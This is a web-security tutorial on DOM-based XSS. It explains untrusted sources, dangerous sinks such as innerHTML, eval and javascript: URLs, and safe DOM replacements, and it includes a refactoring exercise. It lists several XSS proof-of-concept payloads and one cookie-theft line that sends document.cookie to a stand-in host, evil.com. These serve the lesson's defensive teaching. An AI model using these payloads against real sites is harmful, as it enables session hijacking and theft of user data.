LEARNING OBJECTIVES ⌵
- Understand the architectural relationship between untrusted DOM Sources and hazardous DOM Sinks.
- Categorize dangerous JavaScript execution sinks across HTML, script, URL, and event attribute vectors.
- Analyze the browser parsing mechanics that allow
<img>,<svg>, and<iframe>inline handlers to execute insideinnerHTML. - Refactor sink-polluted legacy JavaScript code into secure DOM manipulation patterns.
📖 The Mental Model & Story (Intuitive Foundation)
Imagine a modern city municipal water distribution system. The reservoirs, rainfall catchments, and river intakes represent Sources—places where raw, unvetted water enters the network. The water fountains, kitchen faucets, and hospital taps represent Sinks—points where that water is consumed.
If raw river water contaminated with toxic runoff flows directly into a hospital faucet without passing through a filtration plant, patients get poisoned.
In browser applications, a Source is any JavaScript property or API through which attacker-controlled data enters the client runtime (e.g., location.search, location.hash, window.name, postMessage). A Sink is any DOM or JavaScript API that takes input and interprets it as executable code or structural HTML markup (e.g., innerHTML, document.write(), eval()).
A DOM-Based XSS vulnerability exists if and only if an unvetted data path connects a Source to a Sink. To secure an application, senior engineers must audit and eliminate dangerous sinks.
Technical Deep Dive & Specifications
The Source-to-Sink Data Flow Model
+-------------------------------------------------------------------------------+
| DOM DATA FLOW PIPELINE |
+-------------------------------------------------------------------------------+
[UNTRUSTED SOURCES] [DATA TAINT PATH] [DANGEROUS SINKS]
• location.href / .search / .hash ====================> • Element.innerHTML
• document.referrer (Unsanitized String) • Element.outerHTML
• window.name • document.write()
• postMessage event.data • eval() / Function()
• localStorage / sessionStorage • setTimeout(string)
• fetch() / XHR responses • location.href = ...
Exhaustive Categorization of Dangerous JavaScript Sinks
Dangerous sinks fall into four distinct browser execution categories:
1. HTML & Document Parsing Sinks
These APIs pass a string directly into the browser's HTML tokenizer and parser, constructing new DOM elements:
Element.innerHTML = dirtyStringElement.outerHTML = dirtyStringElement.insertAdjacentHTML('beforeend', dirtyString)document.write(dirtyString)document.writeln(dirtyString)DOMParser.parseFromString(dirtyString, 'text/html')
2. JavaScript Execution / Code Evaluation Sinks
These APIs invoke the V8/JavaScript engine's just-in-time compiler on raw strings:
eval(dirtyString)new Function('a', 'b', dirtyString)setTimeout(dirtyString, 100)(when passed a string instead of a function)setInterval(dirtyString, 100)(when passed a string instead of a function)scriptElement.text = dirtyStringscriptElement.src = dirtyUrl
3. Navigation & URL Execution Sinks
These APIs cause the browser to navigate to a new resource. If prefixed with the javascript: pseudo-protocol, they execute code within the current origin:
location.href = dirtyUrllocation.assign(dirtyUrl)location.replace(dirtyUrl)window.open(dirtyUrl)anchorElement.href = dirtyUrliframeElement.src = dirtyUrl
4. Inline Event Handler Sinks
element.setAttribute('onclick', dirtyString)element.setAttribute('onload', dirtyString)element.setAttribute('onerror', dirtyString)
The innerHTML Parsing Mechanics Trap
A common misconception among developers is that setting element.innerHTML is safe because the WHATWG HTML5 specification forbids <script> tags inserted via innerHTML from executing.
According to the WHATWG HTML Living Standard §4.12.1.2:
"Scripts that are inserted using innerHTML do not execute when they are inserted."
However, the HTML parser still processes and executes inline event handlers on non-script elements during DOM tree insertion:
<!-- <script> will NOT execute via innerHTML -->
<script>alert('Blocked by spec')</script>
<!-- THESE WILL EXECUTE IMMEDIATELY via innerHTML: -->
<img src="invalid-image" onerror="alert('Exploited via img onerror!')">
<svg onload="alert('Exploited via svg onload!')">
<video src="x" onerror="alert('Exploited via video onerror!')"></video>
<iframe src="javascript:alert('Exploited via iframe src!')"></iframe>
<body onload="alert('Exploited via body onload!')">
<input autofocus onfocus="alert('Exploited via onfocus!')">
When the browser encounters <img src="x" onerror="...">, it immediately initiates a subresource load for x. Because x fails to resolve, the error event fires synchronously, triggering the onerror handler in the current origin context.
Dangerous Sinks vs. Safe Architectural Replacements
| Dangerous Sink | Risk Category | Exploit Mechanism | Safe FAANG-Standard Replacement |
|---|---|---|---|
element.innerHTML = val |
HTML Injection | <img src=x onerror=...> |
element.textContent = val or element.setHTML(val) |
element.outerHTML = val |
HTML Injection | Full element replacement with malicious markup | element.replaceWith(safeNode) |
document.write(val) |
Parser Blocking & Injection | Synchronous parser override & code injection | document.body.appendChild(safeNode) |
eval(val) |
Direct Arbitrary JS | Executes raw string as JavaScript | JSON.parse(val) (for data) |
setTimeout("fn()", 100) |
Implied Eval | Evaluates code string asynchronously | setTimeout(() => fn(), 100) |
location.href = val |
Pseudo-protocol XSS | javascript:alert(document.cookie) |
Validate val starts with https:// or root / |
elem.setAttribute('onclick', s) |
Handler Injection | Direct event string evaluation | elem.addEventListener('click', fn) |
💻 Interactive Code Playground
Starter Code
The following example demonstrates how various sinks process malicious payloads compared to their safe alternatives.
Line-by-Line Code Breakdown
- Line 33: Defines
attackPayloadusing the classicimg onerrorinjection vector. - Line 39:
container.innerHTML = "Rendering: " + attackPayload;invokes the browser's HTML parser. The browser fails to fetch"invalid"and immediately firesonerror, triggering the script. - Line 46–58: Demonstrates the safe approach:
container.innerHTML = ''cleans existing child nodes.document.createElement('span')anddocument.createElement('code')allocate fresh DOM nodes..textContentsets the string content strictly as text literals, preventing execution..appendChild()inserts the safe nodes into the live DOM tree.
Expected Browser Render Output
- Clicking "Run Insecure Sinks" renders a broken image icon and displays an alert pop-up:
"Sink XSS Executed!". - Clicking "Run Safe Replacements" renders the exact literal string:
Safely Rendered: <img src="invalid" onerror="console.error('Sink XSS Executed!'); alert('Sink XSS Executed!');">without firing errors or alerts.
🏋️ Hands-On Exercise
🎯 The Challenge: Refactor a Legacy Dynamic User Table
Instructions:
- Review the provided legacy script that dynamically renders a list of incoming user records into an HTML table.
- The legacy code contains multiple critical sinks:
document.write()on page initialization.innerHTMLstring concatenation for table rows.setTimeout(string)for a refresh timer.element.setAttribute('onclick', string)for row deletion.- Unchecked
anchor.hrefacceptingjavascript:links.
- Refactor the script to remove every dangerous sink, replacing them with standard DOM creation,
addEventListener, closure callbacks, and URL validation.
🏁 Starter Code Sandbox
⚠️ Common Pitfalls
- Assuming
<script>Stripping SecuresinnerHTML: Believing that removing<script>tags makesinnerHTMLsafe. Inline event handlers (onerror,onload,onfocus) on images, SVGs, and inputs execute upon DOM insertion. - Neglecting URL Scheme Sinks: Assigning user-supplied links to
anchor.hreforlocation.hrefwithout verifying the protocol. An attacker inputtingjavascript:fetch('evil.com?c='+document.cookie)achieves immediate code execution upon click. - Using
document.write()in Modern Codebases:document.write()is obsolete, blocks the browser parser, degrades performance, and represents a high-severity XSS sink.
💡 Pro Tips
- Enforce Static Analysis ESLint Rules: Add
@typescript-eslint,eslint-plugin-security, andeslint-plugin-no-unsanitizedto your CI/CD pipeline to automatically fail PRs that invokeinnerHTML,outerHTML, oreval(). - Adopt Declarative Framework Compilers: Modern frameworks like React (JSX) and Angular compile dynamic expressions to safe text nodes by default, requiring deliberate opt-ins like
dangerouslySetInnerHTMLfor raw HTML.
📌 Key Takeaways
- A DOM Source provides untrusted input; a DOM Sink interprets input as executable code or markup.
Element.innerHTMLdoes not execute<script>tags, but will execute inline event handlers (onload,onerror) on elements like<img>,<svg>, and<iframe>.- Passing a string to
setTimeout()orsetInterval()acts as an impliedeval(); always pass a function reference or lambda. - Setting
anchor.hreforlocation.hrefto unvalidated strings allowsjavascript:pseudo-protocol execution. - Standardize on
document.createElement(),.textContent, andaddEventListener()to eradicate sink risks at their root. - --